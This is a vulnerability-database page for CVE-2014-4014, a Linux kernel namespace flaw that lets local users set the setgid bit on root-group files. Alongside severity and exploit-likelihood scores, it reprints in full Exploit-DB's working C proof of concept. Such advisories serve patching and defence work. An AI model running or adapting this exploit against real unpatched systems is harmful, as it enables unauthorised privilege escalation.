CVE-2014-4014 Detail

CVE-2014-4014

OWSAP

A01-Broken Access Control

EPSS

0.16%V3

Vector

Local

Published

2014-06-23
08h00 +00:00

Modified

2017-01-18
21h57 +00:00

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CVE Descriptions

The capabilities implementation in the Linux kernel before 3.14.8 does not properly consider that namespaces are inapplicable to inodes, which allows local users to bypass intended chmod restrictions by first creating a user namespace, as demonstrated by setting the setgid bit on a file with group ownership of root.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	6.2		AV:L/AC:H/Au:N/C:C/I:C/A:C	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 33824

Publication date : 2014-06-20 22h00 +00:00
Author : Vitaly Nikolenko
EDB Verified : Yes

/** * CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC * * Vitaly Nikolenko * http://hashcrack.org * * Usage: ./poc [file_path] * * where file_path is the file on which you want to set the sgid bit */ #define _GNU_SOURCE #include <sys/wait.h> #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <limits.h> #include <string.h> #include <assert.h> #define STACK_SIZE (1024 * 1024) static char child_stack[STACK_SIZE]; struct args { int pipe_fd[2]; char *file_path; }; static int child(void *arg) { struct args *f_args = (struct args *)arg; char c; // close stdout close(f_args->pipe_fd[1]); assert(read(f_args->pipe_fd[0], &c, 1) == 0); // set the setgid bit chmod(f_args->file_path, S_ISGID|S_IRUSR|S_IWUSR|S_IRGRP|S_IXGRP|S_IXUSR); return 0; } int main(int argc, char *argv[]) { int fd; pid_t pid; char mapping[1024]; char map_file[PATH_MAX]; struct args f_args; assert(argc == 2); f_args.file_path = argv[1]; // create a pipe for synching the child and parent assert(pipe(f_args.pipe_fd) != -1); pid = clone(child, child_stack + STACK_SIZE, CLONE_NEWUSER | SIGCHLD, &f_args); assert(pid != -1); // get the current uid outside the namespace snprintf(mapping, 1024, "0 %d 1\n", getuid()); // update uid and gid maps in the child snprintf(map_file, PATH_MAX, "/proc/%ld/uid_map", (long) pid); fd = open(map_file, O_RDWR); assert(fd != -1); assert(write(fd, mapping, strlen(mapping)) == strlen(mapping)); close(f_args.pipe_fd[1]); assert (waitpid(pid, NULL, 0) != -1); }